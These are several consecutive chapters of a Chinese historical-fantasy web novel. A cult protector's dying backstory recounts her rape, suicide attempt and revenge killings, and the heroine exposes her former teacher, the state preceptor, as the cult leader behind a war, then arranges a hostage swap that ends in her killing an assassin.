他堂而皇之的跨过常千户的身躯,袍子的衣摆扫过常宽那张清秀的面庞,在他瞪大的眼眸上带过去,然后踩着青石板上的血水,朝着城主府外走去。 将士们夹道让开一条通道。 萧鸿深一步一个血脚印,从他们中间走过去,身后的将士们缓缓跟了上去,此时他们的眼里都是疯狂的热切,对于权势的**。 人性向来是最不能拿捏的东西。 能够轻易就被摧毁。 轻易就被替代。 之所以不能拿捏,是因为筹码给的不够。 什么东西都可以等价交换的。 这是他跟着燕晚清学到的东西。 可是啊……老师,教会了徒弟,定然是要饿死了师父的。 他唇角的笑意逐渐破晓的橘光中,慢慢的光晕吹散。 明月镇。 天亮了。 燕晚清夺了付明月的信号灯,放了出去,但是苦等了一夜,谁也没来。 付明月和阿彪失魂落魄的坐在一起,眼里的光芒全部灰败下去。 比起燕晚清的失望来说,他们二人显然信念已经完全崩塌。 燕晚清托着下巴,轻叹了一口气:“算了,回去睡觉吧。” 这一夜苦等,实在是太煎熬了。 她本就舟车劳顿,此时已经脚步都开始虚浮了。 “不许走!”付明月一听燕晚清不等了,尖叫出声:“都不许走!” “你要等自己等,等到了喊我一声。”燕晚清好心提醒。 光明圣教的教主来了,她燕晚清也不会临阵脱逃,早见晚见都是见,前提是对方出现才行。 付明月看她打哈欠,眼角都是晶莹,神情都开始癫狂起来:“教主是不会放弃我的,他说过只要我一放烟火,他会第一时间赶到我的身边来的!他说过的——” 此时阿彪看着付明月的神情都带着一丝丝的同情。 “他不会来了。” 要来早就来了。 阿彪哑着嗓子说道。 付明月却反手给了他一巴掌:“你闭嘴!教主一言九鼎,我不许你这么污蔑他!” 阿彪黑黢黢的面颊上挨了一下,此时竟然已经有些肿了起来。 他冷哼一声,捏紧了拳头,最终还是松开:“疯婆娘,执迷不悟!” 付明月却根本不听,她突然看向一旁事不关己的燕黎安,满眼都是希冀:“圣子,你平日里跟教主最为熟稔,你说,他会出现的对不对?” 燕黎安一个眼神都没有施舍给她。 “困了吗?那就回去休息吧。”他对着燕晚清说道。 燕晚清乖巧的点了点头。 反正他知道老巢在哪里,等燕晚清睡醒了,到时候直接杀过去便是。 简单粗暴,多好。 一旁的萧蘋风更是毫不掩饰的打了两个哈欠,他有些心疼的看着燕晚清眼底的青色,想要伸出手去摸,却碍于旁边有个冷飕飕的目光,只能按压住心里的渴望。 温声的说道:“那我们回去吧。” “嗯嗯。”燕晚清点了点头。 “我说了不许你们走——”付明月尖叫着朝着燕晚清冲了过来:“烟火是你要放的,你为什么要放那个烟火!” 她冲过来的速度极快。 燕黎安赶紧伸出手去拉燕晚清。 可是没想到有个人比他还要快。 只见萧蘋风将人揽在了怀中,抬手对着已然疯癫的付明月便是一掌,直接将人打的拦腰撞在了树上。 付明月重重的从树上跌落,倒在地上,吐出了一口鲜血。 她眼里都是血丝,满眼哀切又痛恨的看着燕晚清。 “……你,你为什么……”她又忍不住吐出一口血。 一句完整的话甚至都说不出来。 燕晚清见状,有些不忍。 杀人不过是头点地。 她灭了付明月心中的信仰。 光明教的教主对于付明月来说一定是有特殊的意义的。 此时阿彪从旁边走了过去,跪在了地上,将付明月抱在了怀中。 萧蘋风情急之下的一掌,足以震碎付明月的五脏六腑,此时人已经是救不回来了。 没想到光明神教杀人如麻的右护法付明月,竟然会以这种方式死在了明月镇。 这里甚至是以她的名字命名的。 “……及笄那年,教主在这里捡到了被人欺辱的明月,那一天……”阿彪陷入了回忆之中,缓缓的开口说道:“是她的出嫁之日。” 原本没有耐心继续听下去的燕晚清,突然站住了脚步。 阿彪沙哑着嗓音,他怀中的付明月不断的朝着外面吐着鲜血,可是她的右手自始至终都紧紧的捏着那个空了的火折子。 “娘家将她卖给了瘸子当老婆,可是前来结亲的轿夫却在路上对着明月下了手,足足六个人……教主出现的时候,明月浑身都是血躺在轿子里,奄奄一息,是教主救了她……” ……以下以付明月的口吻讲述这个完整的故事…… 那年我不过刚刚及笄。 镇子边上那个杀猪的瘸子屠夫,用一头猪的价格从爹娘的手里买走了我。 他说,只要我不嫌弃他是个屠夫,他就会一辈子对我好。 在家里,爹娘的眼里只有弟弟,从来不会顾我死活。 而我又生的美,倘若不早早找个人嫁了,往后等待我的便是爹娘将我卖进花楼里。 所以我同意了。 瘸子派了六个人过来结亲,给足了我爹娘的面子。 可是那天,瘸子却因为天色还早,临时接了一单杀猪的活,所以没有跟着过来结亲。 我上了花轿。 然后噩梦就来了。 六个人…… 他们一个又一个的从我的身体里抽离出去,恶臭的气味,恶心的笑容,不断上下其手的那些粗糙的手掌……无一不让我生不如死。 他们骂着粗俗的话语。 说瘸子不过是杀猪有两个臭钱,凭什么能娶这么美丽的媳妇儿。 所以他们气不过。 哪怕是拿了瘸子的银钱,依然选择要在迎亲的路上选择用这种方式来发泄他们的不满。 “接下来怎么办?这新娘还送去么?” 我听见他们有人问。 “去个屁,你不想被瘸子用刀砍死你就去!” 他们决定四下散开来,出去到外面的镇子上躲躲风头,临走的时候却还不忘脱光了我的嫁衣,将我丢在了轿子里。 他们打算用这种方式,拖延时间。 让我没有办法出去喊人救命。 其实我也没有办法走出去轿子。 很疼。 生不如死。 泪水早就流干了,可是我还有血水,不是么? 我用新娘子的发簪割开了手掌,那是瘸子送给我的发簪,银子做的,银杏叶的形状。 我很喜欢。 血液逐渐从身体里抽离,缓缓的冲刷着我所收到的屈辱。 我恨瘸子,恨我娘亲,恨那六个猪狗不如的畜生。 可是我无力抗争。 所以我选择去死。 我想,我终于要死了。 死了,便不会听见外面人的污言秽语,死了就能干干净净。 可是没有。 有人掀开了我的轿帘,用长袍包裹住我的身躯,将我抱离了那个肮脏的轿子。 他救了我。 他说他是光明神教的教主,缺一个圣女和一个得力干将,他问我选什么。 我说我要当得力干将。 圣女有什么好? 除了美丽一无是处。 我再也不想要当美丽却无能为力的废物了。 所以,后来我成了光明神教的右护法。 教主教会我读书,教会我为人处世,教会我各种武功心法。 他总是有那么多的耐心,对我。 我以为我是特别的。 直到我在秘境里看到了跟我有着一张一模一样脸的女子的时候,我知道,我的梦又该醒了。 她叫宋凝。 我以为教主会生气我发现了那个女子。 可是没有。 他甚至跟我讲起了那个叫宋凝女子的故事。 他说宋凝是他有过一饭之恩的恩人。 是他这辈子的心魔和遗憾。 我张了张嘴吧,没敢问出口。 那我呢? 我在你心里又是什么? 有些梦从一开始就不该做。 喝得酩酊大醉之后,我和左护法有了一夜的露水情缘。 他是个沉默寡言的汉子。 此番,我彻底堕落下去,我开始偷练吸食男子功力的心法,越来越不可收拾。 我甚至开始频繁偷跑出神教。 有了自保的能力后。 我自然是想要报仇雪恨的。 我灭了生我养我镇子上的所有人。 我爹娘,瘸子,还有那六个人以及他们的一家老小。 不给他们说话的机会,便要了他们的性命。 阿彪跟在我的身后。 像条固执的狗。 “你想要听我的故事吗?”我心血来潮想要撕开伤口给别人看。 本站网站:et 第二百五十八章 这辈子太疼,别再来了 我将我一眼就看得到头的无趣往事,不厌其烦的说给了这个沉闷的男人听。 他很无趣。 不会讲话。 就一直听。 我讲到了我爹娘,讲到了瘸子,还讲到了那六个带给我磨难的人,讲述他们生前是如何哭着向我求饶,又在求饶失败之后恼羞成怒对我破口大骂的。 我全部都说给了阿彪听。 我知道我没有资格去说给教主听,他也不会有时间来听我的故事。 说给别人听,别人会说出去。 阿彪不会。 他性子沉闷,又长得凶神恶煞的,平日里在教会根本没有朋友。 “我讨厌这里。” 坐在小镇边缘的荒山之上,居高临下的看着下方。 我讨厌这个生我养我的地方。 厌恶到想要直接毁灭这里。 阿彪听着我说话,黑眸闪闪,依旧一言不发。 果真是个无趣的人。 兴许是杀了仇人,斩断了尘世的情缘,眼下的我无根无萍,时间一长,我又开始肖想不该属于我的东西,尤其是在教主将我曾经的小镇命名明月镇的时候,这个念想再也刹不住车。 宋凝死了。 教主再怎么执念,她也是个死人。 可是我不一样,我是一个活生生的人啊。 我会说话会跳舞会走动。 我想我总有一天能够让教主将目光放在我的身上的。 我需要做很多让教主刮目相看的事情,争取更多跟他相处的时间。 于是我变的忙碌了。 我从雁门关的死人堆里,挖出了燕家的嫡长子燕黎安。 那可真是个长相俊美的又十分危险的男子。 哪怕是教主,也依然花费了将近一个月的时间来给他洗去之前的记忆。 送走燕黎安的那天,教主将我拉到了一旁,交给我一个烟花。 “不管你在哪里,只要这个放出去,我都会出现。” 我对教主的话深信不疑。 直到我在明月镇看到了沈淑云。 那是一张比我还要像宋凝的脸。 她说话轻声细语,眉目含情,跟我完全不一样。 最重要的是。 她干净。 刚刚及笄的年纪,干净的就像是雨后的荷花包,满眼都是我午夜轮回都找不回来的不谙世事。 阿彪跟我说,沈淑云是被教主下放出来历练的。 他让我小心这个女人。 说她很不简单。 当然不简单。 能和宋凝和我拥有同一张脸的人,能简单到哪里去? 明月镇的一切都在圣子的安排之内,可是谁也没有料到这个时候他会恢复记忆。 燕家的人,当真是半点不能小觑。 燕晚清那个女人抢走了我的烟花,放到了天上。 她说她也想见见教主。 见吧,到时候教主一定会替我出气的。 可是没有。 一晚上过去了,他没有来。 一如当年我被浑身**的丢在了轿子里一样,今夜我的尊严和内心再一次被暴露在空气中。 我知道我不是燕晚清的对手,更加不是圣子和那太子的对手。 我冲向燕晚清的时候,就报了必死的决心。 所以当那大渭太子出手的时候,我的心里其实更多的是解脱。 就死在明月镇吧。 死在这个生我养我又害我的地方。 那些什么个真相我也不想知道了。 我又吐了一口血,听见阿彪像个话痨一样开了口…… “……困,好困啊……”我不想听他说话。 大口大口的鲜血从唇角溢出,我感觉到自己浑身上下都被冰冷包裹着。 怎么会呢? 这是个一年四季都如夏的地方。 我怎么会感觉到冷呢。 “不许睡!”阿彪冲我发脾气。 我想和他生气。 想骂他你什么身份什么地位,敢这样跟我说话。 可是我不能。 我甚至连张嘴说话的力气都没有了。 可即便是这样。 我依然要求阿彪帮我一件事情。 “割,割下……”我艰难的开口:“头,头发……” 我看到阿彪抱着我的身体都僵硬了。 我没有力气再说第二遍。 这辈子太疼了,我不想再有下辈子了。 割下头发便不会再上天堂,像我这样的人,要永远生活在地狱里。 …… 付明月死了。 在阿彪用匕首割下她的一缕发丝之后,终于闭上了双眼。 临死的时候,带血的唇角甚至勾起了一抹浅笑。 燕晚清忍不住走到了她的身边蹲下。 阿彪警惕的看了她一眼。 燕晚清指了指她的手:“我能看看这个吗?” “现在说这些还有意义吗?” 阿彪弯腰将付明月抱了起来,抬脚迎着朝阳走去。 他哑着嗓子说道。 “你怕黑,我就将你葬在太阳升起的地方好不好……” 好不好啊,明月。 这里太阳落下,月亮便会升起,永远都不会存在黑暗了。 燕晚清一行人看着阿彪抱着付明月朝着东边走去,一直走到了荒山之上去。 “他想干什么?”燕晚清忍不住问道。 燕黎安是对这两个人有过一段时间相处的,于是他说道:“阿彪是为了付明月才升到了左护法的位置,这座小镇的名字,听说也是他求着教主命名的。” 一片真心在明月。 萧蘋风则是眼神怜悯:“也是个可怜人。” “天亮了,我们回去休息一下吧,醒了再做打算。”燕晚清不是圣母。 付明月和阿彪手里沾染了无数无辜的生命。 只能说是可怜之人必有可恨之处。 这么悲惨的故事,她做不到无动于衷,但是也不会像个圣母白莲那样去同情他们。 “走吧,刚好困了。”萧蘋风打了个哈欠,手就要放在燕晚清的肩膀上,被燕黎安抬手给打掉了。 萧蘋风:“……?” 燕黎安一记冷眼刀锋过去。 对此一无所知的燕晚清,抬脚朝着客栈的方向走去。 她困得不行。 一点都没有意识到身后的两个男人,此刻已经是针尖对麦芒。 “这手要是放了不该放的地方,可就危险了。”燕黎安意有所指的丢下这句话离开了。 看着他的背影,萧蘋风轻哼一声。 忍。 高低得忍。 他大人有大量,不跟一个失忆的可怜人计较。 “晚晚,别走这么快,等等我!”他迈开步伐,朝着燕晚清的方向大步走过去。 本站网站:et 第二百五十九章 调虎离山,西凉城危险 燕晚清这一觉睡到了下午。 醒来的时候,外面还有鸟叫声。 她是被饿醒的。 喝了一夜的酒,肚子里空了,早就饥肠辘辘了。 捂着肚子,燕晚清推开了门,打算下楼去觅食。 刚开门。 “醒了?” “等你好久了晚晚。” 两个大男人,一左一右站在门口当门神。 看见燕晚清出来的瞬间,原本还剑拔弩张的面上,瞬间洋溢出温柔的笑意。 好家伙。 也不知道他们站在这里等了多久。 燕晚清想到自己好像还没有洗脸…… “已经点好了饭菜,现在下去,马上让小二上菜。”燕黎安伸出手很自然的给燕晚清将杂乱的发丝放到了耳后。 燕晚清点点头。 “好。” 然后她转身快速进门关门,用冷水洗了一把脸,脑子总算是清醒过来了。 “走吧,去吃饭。”重新打开门,燕晚清容光焕发的说道。 见她这般,燕黎安忍俊不禁。 记忆中好像他们兄妹二人也是这般无厘头,这样的感觉一点都不陌生。 兄妹二人一前一后的下了楼梯。 完全将某位等候多时的太子爷给抛之脑后。 萧蘋风深呼吸一口气,告诉自己,小不忍则乱大谋。 为了抱得美人归,这大舅子的气,自己横竖得受受。 更何况这么久了他们都没有见面,多留点时间给他们也未尝不可,等往后晚晚嫁给自己了,以后可不都得陪自己和孩子吗? 这样想之后,太子爷心里舒坦多了,脸上又重新洋溢起了笑容。 “等等,晚晚要不要再加一份汤,这家的鸡汤熬得特别不错……” 用完午膳之后。 “我们是因为一张纸条才去的明月香。”想来她的人已经被光明神教收为教徒了。 这种背叛对于燕晚清来说,是很难容忍的。 倘若连她的人都能够轻易被光明神教去收服,那么整个大渭,究竟还有多少地方是安全的? 对于这个光明教的教主,燕晚清第一次心里有了忌惮。 燕黎安注意到了她的情绪,安抚道:“眼下付明月和**已死,知道我恢复记忆的人不多,你若是想要做什么,尽管跟我说便是。” **竟然也死了? 燕晚清微微皱了皱眉头。 不过想到昨日他的神情,死……对他来说可能也是个解脱。 收敛心神,燕晚清回到了话题上。 “光明神教信奉战乱,一日不除,百姓难安,而且……我怀疑雁门关一战,与其脱不了干系,父亲和弟弟们的仇,我是一定要报的。”谁也别想跑掉! 燕晚清眼里的恨意滔天。 燕黎安心尖发酸,胸口梗的生疼,连带着眼眶都开始湿润起来,泪水萦绕在眼角,几欲坠落。 这股子情感来的铺天盖地,让他几乎无法抵挡。 他只能低头喝茶,用来掩饰自己内心的难过。 “我陪你一起。”这仇,也是他的。 燕晚清点了点头:“那我们现在整合一下手里知道的消息,看看能不能串联到一起。” “此处人多眼杂,咱们还是换个安全的地方吧。”萧蘋风提议道。 燕黎安想了想:“明月香,这个地方是我的人,更何况最危险的地方就是最安全的地方,眼下没有人敢去听我的墙角。” 明月香很近,绕了两个巷子便直接从后门进去了。 “可以,开始吧。”燕晚清率先开口。 “其实关键点在于光明神教的教主究竟是谁,不知道大哥有没有见过他的真实面孔?” 燕黎安摇头:“他一向都带着人皮面具,虽然惟妙惟肖,可终究和真人的五官是有所差距的,时间一长,细致观察就能看出端倪。” “我有个猜测。”燕晚清舔了舔有些干涩的唇角,她心情很微妙,目光在萧蘋风和燕黎安中间来回:“我觉得他是国师宋化虚。” “宋化虚?!”萧蘋风皱紧眉头:“他不是个老头吗?有这个精力做出这么多事情?!” 又是光明神教,又是战乱,还要给他那个不成器的父皇炼丹,他是陀螺么?忙得过来么! 燕晚清轻叹一口气:“早在避暑山庄的时候,我和他已经交过手了,他其实是个一头银发,面容英俊的青年男子,年龄看起来不大。” “可是你我二人小时候便拜他为师,这么多年过去了,他再是保养有方,也不能……”萧蘋风突然想到了什么,噤声了。 燕晚清面容复杂:“不知道是如何保养的,但是皇后娘娘跟我透露过,雁门关战乱起来的时候,她的人看到了宋化虚出现在雁门关,她本人也听到宋化虚和皇帝请辞前往……还有,宋化虚此刻也在这里。” “你怎么知道?”萧蘋风眸光深沉了些许,不再桀骜不驯。 燕黎安眸光闪闪,眼里闪过一丝黯然。 “我当时确实是要被李呈媛折磨死了,手脚筋全断,但是醒过来的时候,我看见了宋化虚,是他救了我。”倘若不是宋化虚,她是真的要死的透透的了。 “当时的事情,我也有责任。”燕黎安充满歉意的看着她:“倘若不是哥哥……” “事情都已经过去了。”燕晚清打断了他的话。 她害怕萧蘋风知道了话,要跟她兄长拼命。 此时已经很多事情了,她不希望内部再因为自己出现矛盾,更何况兄长只是失去了记忆,他不记得自己了。 所以才会对自己出手。 眼下的情况,兄长是无论如何都不会对自己下手的。 兄妹二人之间的波涛汹涌,太子爷是一丁点都没有漏掉。 不过既然燕晚清不想让他知道,他便不知道就是。 “我想不明白,倘若幕后的黑手是他,为何又要救我?让我直接死在李呈媛的手里,岂不是更好?” 聪明如她,实在是搞不清楚宋化虚究竟想要做什么。 他定然是一个有着坚强意志和大局观的人,那么又怎会对自己心有不忍呢? 事情过去了这么久,这件事情一直让燕晚清如鲠在喉。 “我这边也有一点消息。”萧蘋风沉吟片刻,缓缓开口:“我的人,发现萧鸿深有个亚父,他能迅速从一个名不见经传的皇子脱颖而出,其中这个亚父肯定是做了不少的东西,之前我还有些迟疑这个人的身份,但是刚刚听完晚晚的话,我现在有很充分的理由怀疑,这个亚父其实就是宋化虚本人。” “萧鸿深想要谋反的那天晚上,宋化虚出手救了他。”燕晚清补充道。 那天晚上,倘若不是宋化虚,她绝对能够让萧鸿深死一千次,一万次! 布局布了那么久,几乎毫无破绽的一个死局,偏偏让宋化虚给盘活了。 “那如果光明教教主也是宋化虚的话,兄长出现在明月镇……”燕晚清突然眸光大亮,红唇抿起:“不好,中计了,西凉城有危险!” 调虎离山——! 兄长是引子,宋化虚的真正目的是想要救萧鸿深从地牢里出去,然后顺势掌握自己的军权。 一旦掌握了军权,那么回京之后,还不黑的白的都由他萧鸿深一个人张嘴了? “兄长,我们得回西凉城了。” 本站网站:et 第二百六十章 少主,属下虽死犹荣 悬崖峭壁之上。 纪云台趴在属下身上,面容憔悴,唇角还带着血迹。 他的目光仇视着后方,那个银发青年。 “阁下还是不要赶尽杀绝的好,毕竟人在做天在看。” 城主府内突然杀出来一批武功高强的暗卫,各个心狠手辣,所到之处更是血流成河。 最重要的是进来便破坏了自己精心准备的阵法。 这后面要是说没有高人指点,他纪云台是绝对不信的。 “我们蓬莱仙岛向来是与世隔绝,和外界从来都是没有什么仇恨的,我们少主不过是在西凉城当了一段时间的城主,也没有与人结仇,阁下若是能高抬贵手,往后我们蓬莱定会以礼相待。”旁边的管家,一改往日的和善,面色阴沉的说道:“否则海角天涯碧落黄泉,我们蓬莱仙岛,定会于此人不死不休。” 这算是威胁,也算是承诺。 这一路上他们十几个蓬莱仙岛的精锐,被面前的这个银发青年杀的只剩下两个了。 倘若他们二人也倒下,那么便没有人能够再保护少主的安全。 想到临行之前老妇人交给自己的嘱托,管家不禁觉得心中愧疚。 蓬莱仙岛一脉单传,若是真有什么好歹,他又怎么下去面对蓬莱仙岛的列祖列宗? 见那银发青年不为所动,管家只好捏紧手中的长剑,向前走了一步。 管家的眼中都是决绝:“若阁下依然执意如此那么——”挥舞着手中的长剑,挽出一个剑花出来:“蓬莱仙岛,请阁下赐教。” 没有人看得见的银发青年是如何动手的,等到他们反应过来的时候,管家已经重重的摔在地上。 他手中的长剑断成两节掉落在一旁。 在绝对的实力面前,他的努力显得那般的可笑又脆弱。 “王叔!”纪云台惊呼出声。 管家看着纪云台的方向,默默地伸出了一只手,他的唇角不断肆意鲜血。 最后甚至连一句完整的话都交代不出来,那只手就在空中坠落了…… 陪了自己三十多年的管家死了。 这对于纪云台的打击已经十分大了。 可是接下来的一幕更是让他睚眦欲裂。 背着他的下属将他轻轻放在地上,跪在地上行了一个完整的跪拜礼。 “少主,属下虽死犹荣。” 他义无反顾的拔出了自己的武器,挡在了纪云台的身前。 “不,回来!”他的话音刚落,身前的影子也轰然倒塌。 又死了一个。 都死了。 他身边的人…… 纪云台双手用力捶打着自己的双腿,从来没有这般痛恨过自己的无能为力。 为什么自己只会阵法,为什么自己不去学一点武技,为什么自己是个废人?为什么自己……总是要拖累所有人?! “你想杀我……我能问一下是什么原因么?”纪云台猩红着双眼。 他坐在漫天黄沙的悬崖峭壁之上,白衣早就被尘土沾染成了灰黄色,此时已经完全落魄,没有了偏偏公子的模样。 那银发青年抬眼看了过来。 恍若一个无情的神明,他轻启薄唇,第一句话是:“你的腿是怎么没的?” “……”纪云台怎么也没有想到,面前这个无情的刽子手,竟然会关心自己的双腿。 “我自己弄的。”纪云台想了想还是开口说道。 事到如今,他已经是砧板上的肉,任人宰割。 “你身为蓬莱仙岛的少主,为什么没有人帮你医治?当年我一双烂眼尚可恢复,你这双腿着实不是个难题。” 纪云台眯着眼睛:“你去蓬莱求过医?” “四十年前。”那已经是很久的事情了,久到自己差点都要忘记了。 纪云台打量着面前人,他想不明白,此人分明只是三十出头的模样,四十岁就去蓬莱求药的话,那么此时他的真实年龄是多少? “蓬莱的恩情之下,我是不该对你动手的。”那青年缓缓开口。 纪云台一声不吭的看着他。 “可是,为了我的大局,你还是得死。”他眺望着远方:“这乱世,若是没有蓬莱仙岛的加入,那就太无趣了。” “你可知你这是在引战!”蓬莱一向不问世事,若是自己死在了中原,不管情况如何,蓬莱势必要来陆地上寻求真相,与中原人发生冲突。 青年似乎是被纪云台逗乐了,轻笑一声:“你的性子和我一个徒弟很像,你们前不久刚刚见过面。”他少见的弯了个眉眼:“她叫燕晚清,是个很聪明的孩子。” 是他收徒几十年里,为数不多聪明的女孩子。 聪明到有时候让他都不得不拿出十二万分的精力来应对。 “你到底是谁!”纪云台听到燕晚清的名字,陷入了暴怒之中,他双手用力的抓起地上的尘土,朝着那人丢去,但是很快便被山风吹散,在空中消失无形。 “我是宋化虚。”青年幽幽的开口:“若是你已经接受了蓬莱,应当在密室里见过我的画像。” 宋化虚…… 纪云台脑海中电光火石的瞬间,好像是闪过去什么。 但是他想不起来。 不过即便是这样,最近发生的一些事情,和面前这个叫宋化虚的人也绝对脱不了干系。 “你救萧鸿深出地牢,杀光我西凉城主府的人,嫁祸给燕晚清,昭告天下人她是光明教教会的教徒,让她成为背叛大渭的叛徒,你说了她是你的徒弟,你这般究竟是为何?你和燕家有仇吗?”纪云台实在是想不通,此人究竟和燕家和燕晚清究竟有什么深仇大恨。 宋化虚摇头:“没有。”他与燕家无丑,甚至有恩。 “镇国公是我拜把子的兄弟。”他鲜少在外人面前提及自己。 可能是因为纪云台马上要死了,又或者看着这个曾经风光一时的蓬莱少主,此时宛若丧家之犬的坐在地上,让他有了倾诉的**。 宋化虚第一次开了口。 “燕家人各个骁勇善战,忠肝义胆,不论是在六国里面的哪个国家,都会平步青云,大哥……燕国忠更是不一般。”宋化虚毫不吝啬的夸赞着燕家的一切,双眼竟然十分温柔。 “那你为什么要杀了他们?”纪云台尖锐的开口。 宋化虚陷入了沉默:“……为什么?” 他没有为什么。 “我必须要这样做。”他张开双臂,作势要拥抱这天地:“这天下已经安稳了太久了,人们贪婪懒惰,勾心斗角,不思进取,丑陋的面孔一张接着一张,子不孝,父不慈,抛妻弃子者,杀人求财者,荒淫放荡者……比比皆是,这样的世间又有何意思?” 宋化虚看向纪云台:“你不觉得此时更需要一个乱世吗?用乱世太筛选是否需要生存下去的人,将所有人都推向一个全新的局面,乱世才能开太平,届时男耕女织,又是一派祥和的盛世啊!” “所以燕家人必须死,我没有办法留下他们,他们是我干这件事情的最大阻力。”宋化虚大声说道:“大渭已经从骨子里就烂透了,燕孙两家这块遮羞布不除,大渭要如何走向灭亡?大渭不灭,其他五国又要如何分崩离析?!” 这是他的棋局。 他宋化虚的棋局。 本站网站:et 第二百六十一章 你不配,还望归还 原来竟然是这样大的一个棋局。 纪云台听得冷笑涟涟。 “你在笑什么?”宋化虚不明白的看着他。 纪云台又笑了两声,眼角笑出了泪水:“这天下分久必合合久必分,乃是定律,与光明神教何干,与你又何干?不过是靠着这些子虚乌有的情怀去满足你的一己私欲而已,什么乱世开太平,那燕家忠良哪个不是从马背上征战过的,你说的安稳,从何而来?” “再有,凡事都有好坏两面,太阳照的到的地方是光亮,照不到的地方自然便是阴影,很多人都在辛苦的生活不假,但是他们为此甘之如饴,你若是只能接受好的一面,接受不了这个阴暗面,世间的所有你都追求一个完美,我劝你趁早死了算了,不要活在世上了。” “说得好——!”娇俏的女声骤然响起。 纪云台眼前一亮,看了过去。 只见遥远的天际,燕晚清从天而降,脚踏飞燕而来。 他一时之间愣住,感觉自己做梦了。 这还没有受伤,怎么就开始出现幻觉了。 “宋化虚,你教我数年,又救我一命,我最后再尊称您为一声师父。”燕晚清风尘仆仆的赶来,她双眸清亮看着面前之人。 宋化虚一点都不意外:“看来你兄长恢复了记忆。” “谢谢师父关心,恢复的不多,毕竟您的功力摆在这里。”燕晚清勾着浅笑说道。 宋化虚不在意她语气中的阴阳。 “你父兄的事情是我做的,你若是想要复仇,尽管过来便是。” 燕晚清双拳捏紧,生疼。 饶是已经猜到了真相。 但是亲耳听见,心尖还是骤然发酸,胸口梗的生疼。 “您放心,该我报的仇,一个都跑不掉。” 她用尽全力挤出一个微笑,朝着宋化虚伸出手:“在此之前,跟你讨要一个东西。” “什么东西?”宋化虚面无表情。 “当年我父亲和你结拜的时候,有一块玉佩,分成了两半,你一块,他一块,眼下你已经没有资格再拥有这枚玉佩了,希望你还给我。” 燕晚清一字一句的说道。 她父亲一生戎马,却没有想到末了识人不清,与一个豺狼虎豹交了兄弟,至此走上了一条尸骨不全的绝路。 听到燕晚清的话,宋化虚没来由的感觉烦躁。 他抿着唇,伸出手去摸腰上的玉佩。 这枚玉佩已经跟着自己二十几年,此时要立刻取下来,心中竟然也会有一丝的不舍得。 但是他还是将玉佩给扯了下来。 温润的触感让他在掌心中流连忘返。 燕晚清却把手往前伸了伸:“还望归还。” 宋化虚周身都浸润在冷气之中,他将玉佩丢到了燕晚清的手中。 燕晚清将半截月牙形状的玉佩好生用帕子包好,然后放回了自己的衣襟里面,然后冲着宋化虚行了个礼:“多谢。” “接下来,我希望和你做个交易。”她拍了拍手,从大石后面走出来三个人。 萧蘋风和燕黎安,还有被捆着双手浑身是血的萧鸿深。 燕晚清噙着一抹浅笑盯着宋化虚,笑意不到眼底。 “我们打算用七皇子跟你换个人。” 宋化虚盯着面前的燕晚清,再看到她身后的萧蘋风和燕黎安,突然就勾唇笑出了声。 “当真是小看了你们几个小鬼。” “还是师父教得好。”萧蘋风远远的回了一句。 宋化虚唇角冷凝了几分。 几个人里面,要说教导,这个大渭的太子爷,他可真的是没有教多少。 “你的师父另有其人,我担待不起。” 萧蘋风被回了一句,面上也不恼:“行吧。” 宋化虚:“……” 萧鸿深听不得他们几个在这里你一句我一句的唠嗑,他刚刚还在城主府里喝茶,眼睛一睁就被绑到了这里来,一路上不知道被燕晚清这个贱人打了多少次,浑身上下已经没有一处是完好的。 此时他看见了宋化虚,眼泪都要往外面冒。 “亚父,亚父救我!”萧鸿深大声的哭喊道。 听到他这样的喊叫,燕晚清丝毫没有意外。 果然如他们所想。 宋化虚就是萧鸿深身后的人。 若是没有他,上一世,萧鸿深无论如何都不可能那般顺利的坐上皇位。 “你选这样一个人坐上那个位置,不能是没有理由的吧?”燕晚清仔细观察着宋化虚的神情,见他看萧鸿深的眼神没有任何悲悯甚至一丝情绪波动都没有的时候,她叹了一口气:“或者换一个说法,咱们的七皇子殿下和那位叫宋凝的女子,之间是什么关系?” 听到宋凝两个字。 宋化虚的表情果然是松动了几分。 他的眸色瞬间阴沉下来。 “燕晚清,你都知道了些什么?” “不算是知道,只能是了解。”燕晚清轻笑:“一饭之恩,就能让你帮了萧鸿深这么多年,还扶着他坐上帝位,不得不说这份恩情实在是感动天地。” 如果不是萧鸿深和皇帝长得十分相像,她真的要怀疑这个萧鸿深是不是宋化虚亲生的。 不过宋化虚应该没有这么龌龊才对。 他将死后的宋凝那般完好的保存着,就足以见其真心。 听到燕晚清的话,宋化虚表情又恢复了冷漠:“这些话术是我教你的,希望你不要用在我身上,姜还是老的辣。” 燕晚清不以为意,她看了看宋化虚身后状态不是很好的纪云台:“你就说,换不换吧。” 用萧鸿深来交还纪云台。 一个是大渭七皇子,一个是蓬莱仙岛的少主。 就看宋化虚怎么选择了。 “师父若是不愿意,那这人留着也没什么用,现在就杀了了事,还省的回去费一番口舌。”萧蘋风直接开口,手里的长剑已经出鞘,按在了萧鸿深的脖颈上。 萧鸿深脖子一疼,崩溃喊道:“萧蘋风你这个畜生,我可是你弟弟啊!你为了一个女人你要杀我!” “你派人杀我的时候可没有念及兄弟手足之情。”萧蘋风反唇讥讽道。 谁让晚晚不舒服了,他就去掀了谁的老家。 萧鸿深算个屁。 他亲爹他都能献出去。 各个都不是好东西,死了也是为百姓除害。 萧鸿深只能不断的看着宋化虚喊道:“亚父,求你救救我啊,看在我娘的面子上,您再救我一次!” 他每次用娘亲求宋化虚办事,都是屡试不爽的。 这次也不例外。 宋化虚半敛着眸子。 “我同意。” 用萧鸿深来交还纪云台。 燕晚清一点都不意外:“多谢国师大人成全。”她双手抱拳,然后直接走向了纪云台。 她将纪云台抱在怀中朝着萧蘋风和大哥那边走去,萧蘋风压着萧鸿深朝着宋化虚过去。 四个人擦肩而过。 萧鸿深眼看着到了安全的位置,突然骤然喊叫出声:“动手——!” 本站网站:et 第二百六十二章 杀墨山,报一箭之仇 一支冷箭朝着燕晚清的面门直射而去! 她眸光直射看向了那射箭之人,赫然就是萧鸿深身边的高手墨山。 只见她面无表情的拿着弓箭对着自己。 那模样和前世杀死自己的神情一模一样,甚至连衣服都穿的一样。 只是可惜,这一世她已经有了自保能力。 在萧蘋风和兄长的疾呼之下,燕晚清抬手将那冷箭直接捏在了手里,在墨山惊诧的目光中,她用内力催着冷箭直接返回,速度比射过来快了一倍还不止! 只不过是瞬息之间的事情,墨山的脖子便被那冷箭射穿了。 她不敢相信的用手摸着箭羽,双眼盯着燕晚清,嘴唇颤抖,然后轰然从悬崖之上坠落。 燕晚清看着她掉了下去,一如自己前世那般,死无葬身之地。 心里总算是痛快了些许。 这一箭之仇,自己总算是报了。 墨山死了。 